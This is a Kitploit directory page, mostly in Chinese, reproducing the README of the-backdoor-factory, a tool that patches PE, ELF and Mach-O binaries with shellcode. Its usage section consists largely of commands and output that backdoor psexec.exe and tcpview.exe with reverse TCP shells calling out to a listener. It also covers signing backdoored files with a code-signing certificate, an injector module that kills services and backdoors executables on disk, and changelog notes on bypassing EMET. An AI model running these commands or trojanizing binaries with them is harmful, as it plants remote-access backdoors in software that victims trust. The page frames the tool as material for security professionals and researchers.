Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
the-backdoor-factory — 使用 shellcode 修补 PE、ELF 和 Mach-O 二进制文件。新版本正在开发中,目前仅向赞助者开放。 | Kitploit
工具/GitHubGitHub/secretsquirrel/the-backdoor-factory
漏洞利用逆向工程Shellcode后渗透利用恶意软件分析渗透测试红队Payload 开发二进制利用
GitHubsecretsquirrel/the-backdoor-factory

the-backdoor-factory

使用 shellcode 修补 PE、ELF 和 Mach-O 二进制文件。新版本正在开发中,目前仅向赞助者开放。

3.4k7742年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
网站

BACKDOOR FACTORY 的新版本已可用!在此获取访问权限:https://github.com/sponsors/secretsquirrel

警告:Pull Requests 将被忽略并关闭。

The Backdoor Factory (BDF)

仅供安全专业人员和研究人员使用。

BDF 的目标是使用用户期望的 shellcode 修补可执行二进制文件,并在修补前的状态下继续正常执行。

Join the chat at https://gitter.im/secretsquirrel/the-backdoor-factory Black Hat Arsenal

Black Hat USA 2015:

root@kitploit:~
视频:https://www.youtube.com/watch?v=OuyLzkG16Uk

论文:https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf

Shmoocon 2015:

root@kitploit:~
视频:https://archive.org/details/joshpitts_shmoocon2015

论文:https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf

DerbyCon 2014:

root@kitploit:~
视频:http://www.youtube.com/watch?v=LjUN9MACaTs

DerbyCon 2013:

root@kitploit:~
视频:http://www.youtube.com/watch?v=jXLb2RNX5xs

注入模块演示:http://www.youtube.com/watch?v=04aJAex2o3U

幻灯片:http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

通过以下方式联系开发者:

root@kitploit:~
IRC:
irc.freenode.net #BDFactory 

Twitter:
@midnite_runr

遵循 BSD 3-Clause 许可证

参见 wiki:https://github.com/secretsquirrel/the-backdoor-factory/wiki


安装

DOCKER

root@kitploit:~
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

传统方式

依赖

#####要使用 OnionDuke,你必须使用 Intel 机器,因为 aPLib 尚不支持 ARM 芯片组。

Capstone 引擎 可以通过 PyPi 安装:

root@kitploit:~
sudo pip install capstone

Pefile,最新版本:

root@kitploit:~
https://code.google.com/p/pefile/

osslsigncode(包含在仓库中):

root@kitploit:~
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/

Kali 安装:

root@kitploit:~
  apt-get update
  apt-get install backdoor-factory

其他 *NIX/MAC 安装:

root@kitploit:~
./install.sh

这将安装 Capstone 3.01,并使用 pip 安装 pefile。

更新:

root@kitploit:~
./update.sh

支持:

root@kitploit:~
Windows PE x86/x64,ELF x86/x64(System V、FreeBSD、ARM 小端序 x32),
以及 Mach-O x86/x64,以及 FAT 文件中的这些格式

已加壳文件:PE UPX x86/x64

实验性:OpenBSD x32 

某些可执行文件内置了保护机制,因此这不适用于所有二进制文件。建议你在将它们部署给客户或在练习中使用之前,先测试目标二进制文件。我即将绕过 NSIS,因此将来会加入绕过这些检查的功能。

root@kitploit:~
非常感谢 Ryan O'Neill --ryan 'at' codeslum <d ot> org--
没有他,我可能还在对 elf 格式做一些蠢事。
还要感谢 Silvio Cesare 及其 1998 年的论文
(http://vxheaven.org/lib/vsc01.html),这些 ELF 修补
技术正是基于该论文的。

最近已在许多二进制文件上测试过。

./backdoor.py -h Usage: backdoor.py [options]


功能

PE 文件

root@kitploit:~
可以在 EXE/DLL 中查找所有代码洞。
默认情况下,会清除指向 PE 证书表的指针,从而使二进制文件取消签名。
可以将 shellcode 注入代码洞或新节区。
可以判断 PE 二进制文件是否需要以提升的权限运行。
选择代码洞时,可以使用以下命令:
  -Jump (j),用于代码洞跳转
  -Single (s),用于将所有 shellcode 修补到一个洞中
  -Append (a),用于创建代码洞
  -Ignore (i 或 q),算了,忽略此二进制文件
可以忽略 DLL
导入表修补
自动修补(-m automatic)
Onionduke(-m onionduke)

ELF 文件

root@kitploit:~
将 TEXT 段扩展 1000 字节(按字节计),并将 shellcode 注入该代码段。

Mach-O 文件

root@kitploit:~
Pre-Text 段修补和签名移除

总体

root@kitploit:~
用户可以:
  - 提供自定义 shellcode。
  - 修补目录中的可执行文件/dll。
  - 仅选择要修补的 x32 或 x64 二进制文件。
  - 在其他 Python 项目中包含 BDF,参见 pebin.py 和 elfbin.py

使用示例:

使用现有代码洞修补 exe/dll:

root@kitploit:~
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

通过添加代码节来修补 exe/dll:

root@kitploit:~
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

修补目录中的 exe 文件:

root@kitploit:~
./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a
...output too long for README...

用户提供的 shellcode:

root@kitploit:~
msfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.

PE 代码签名

如果你有代码签名证书,BDF 可以给 PE 文件签名。它使用 osslsigncode。 将你的签名证书和私钥放在 certs/ 目录中。使用这篇博客文章中的 openssl 命令准备你的证书: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html

将你的私钥密码按如下方式(完全如此)放入文件中(是的,有点让人惊讶):

root@kitploit:~
echo -n yourpassword > certs/passFile.txt

请按以下方式准确命名你的证书:

root@kitploit:~
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem

你的 certs/ 目录应完全如下所示:

root@kitploit:~
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer

使用 -C 标志启用 PE 代码签名,如下所示:

root@kitploit:~
 ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C

成功运行后,你应该在 BDF 输出中看到这一行:

root@kitploit:~
[*] Code Signing Succeeded

搜寻并植入后门:注入器 | 仅限 Windows

root@kitploit:~
注入器模块会在磁盘上查找要植入后门的目标可执行文件。它将检查你是否已将目标标识为服务,检查进程是否正在运行,终止进程和/或服务,将 shellcode 注入可执行文件,将原始文件保存为 file.exe.old 或你选择的其他后缀,并尝试重新启动进程或服务。  
编辑 'injector' 模块中的 Python 字典 "list_of_targets",以选择你需要的目标。

./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow 

更新日志

01/11/2016

  • 修复了入口点截断错误,该错误在极少数情况下导致恢复不当。

07/04/2016

  • 在 BDFProxy 中为预处理器添加动态路径支持。

06/19/2016

  • 添加了预处理器和其他优化。
  • 预处理器允许用户在注入载荷之前修改二进制文件。
  • 使用 -p 标志调用。
  • 示例见 ./preprocessor/。

12/20/2015

  • 为 BDF 添加目录路径,以查找 certs 目录。

12/18/2015

  • 添加了 PE 代码签名支持。你必须提供自己的代码签名证书。参见:https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning

11/17/2015

  • 修复了 onionduke 修补中 rsrc 部分的一个错误,并移除了 PE 头中的随机 win32 版本值。

11/13/2015

  • 在 PE 头中的签名指针被清除后,添加了对 PE 文件进行正确截断的功能——即正确的取消签名。从而更好地支持 IAT 修补。

10/19/2015

  • 修复了 IAT 目录洞分配中导致 BDF 崩溃的错误。
  • 通过 -A 标志将该功能设为可选。

10/13/2015

  • 将导入表目录的修改方式从添加新节改为使用现有代码洞。

08/12/2015

  • 添加了 'replace' 修补方法——直接复制粘贴提供的二进制文件的 PE。

  • 更多用于与 BDFProxy 配合使用。

    root@kitploit:~
      Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe
    

08/11/2015

  • 修复了自动洞选择在罕见重叠洞情况下的稳定性问题。

08/05/2015

  • BH USA 更新,w00t!
  • OnionDuke,使用 -m onionduke
    • 支持用户提供的 exe 和 dll
    • 用法:./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe
  • XP 模式 = 早前基于 IAT 的载荷不支持 XP、Wine 或 Windows 98。如果你需要支持 XP,请使用 -X 标志。我不支持比 XP 更早的系统(也不支持 XP x64)。
  • 调用 UAC 提示以管理员身份运行。实验性 - 如果存在 requestedExecutionLevel,则修补 PE 清单。
  • 稳定性更新:
    • 修复了一个错误:当跳转跨越 2 个及以上代码洞时 RVA 计算不正确。
    • 更好的检查,以确定用于 IAT 的新节是否会写入附加数据从而导致失败。
  • 速度改进:
    • 使用 automatic 模式(-m automatic)时查找代码洞更快。
    • 更快的 rsrc 解析以查找清单文件。

5/01/2015

  • 修复了使用单个洞载荷时 reverse_tcp_stager_threaded 载荷的一个错误。

4/28/2015

  • 添加了对绑定导入的检查(带有绑定导入的 PE 文件将不会被修补)。

4/14/2015

大量更新:

  • PE 文件的自动修补(将 -m automatic 与 *_threaded 载荷一起使用)。

  • 针对 x86/x64 PE 文件的新 IAT 载荷。

  • 直接观看:https://www.youtube.com/watch?v=kkLI_ur6BxY

2/14/2015

我爱你们 <3

  • 添加了对 PE 的导入地址表修补,以支持将导入表用于 winAPI 调用的 iat_reverse_tcp 载荷。例如,如果你要修补的二进制文件没有 LoadLibraryA 和 GetProcAddress,BDF 会将其修补到一个新节中的新导入表中。支持 x64/x86 PE。

  • 为 x64 PE 添加了 iat_reverse_tcp。

  • 错误修复和改进。

1/1/2015

新年快乐!

两个新的 OS X 载荷!延迟载荷:delay_reverse_shell_tcp

-B 30 --> 将载荷延迟 30 秒,主代码立即运行。

为 BDF 构建固定了 capstone 提交版本,capstone 'Next' 仓库会破坏 BDF。

修复以支持 cython capstone 实现的空字节截断问题。

12/27/2014

添加了 payloadtests.py

该脚本会在 backdoored 目录中输出修补后的文件,使用户可以按需测试载荷。每种载荷类型会将使用的端口递增 1。

root@kitploit:~
Usage: payloadtest.py binary HOST PORT

12/17/2014

适用于 x86 和 x64 的 OS X Beaconing 载荷:beaconing_reverse_shell_tcp

-B 15 --> 将 beacon 时间设置为 15 秒

修复错误以支持 BDFProxy 使用 OS X。

10/11/2014

添加了 PE UPX 修补。

9/26/2014

添加了 Mach-O x86/x64。

x86 IAT 载荷优化。

7/31/2014

添加了对 ARM x32 小端序(LE)ELF 修补的支持。

7/22/2014

添加了对 FreeBSD x32 ELF 修补的支持。

变更为 BSD 3-Clause 许可证。

7/13/2014

整合了 Capstone:http://www.capstone-engine.org/

在添加 Capstone 的过程中,我删除了大约 500 行代码。这真是太棒了。

将 loadliba_reverse_tcp 重命名为 iat_reverse_tcp。

进行了小的速度优化。

5/30/2014

添加了一个新的 win86 shellcode:loadliba_reverse_tcp

  • 基于 Jared DeMott 的以下研究:http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf -- 感谢 @bannedit0 提到这一点。
  • 该 shellcode 使用 LoadLibraryA 和 GetProcAddress API 查找反向 TCP 连接所需的所有 API。不再需要 Stephen Fewer 的 API 哈希查找(这仍然很出色)。
  • 它并不隐蔽,且位置相关。但结果很棒(代码洞跳转):https://www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/
  • 绕过 EMET 4.1。调用方保护无法捕获它。
  • 因此,我将通过一种算法进一步推进这一想法,该算法根据 IAT 中的 API 使用自定义 shellcode 修补二进制文件。包括将当前的 win86 shellcode 移植到这个想法上。
下载工具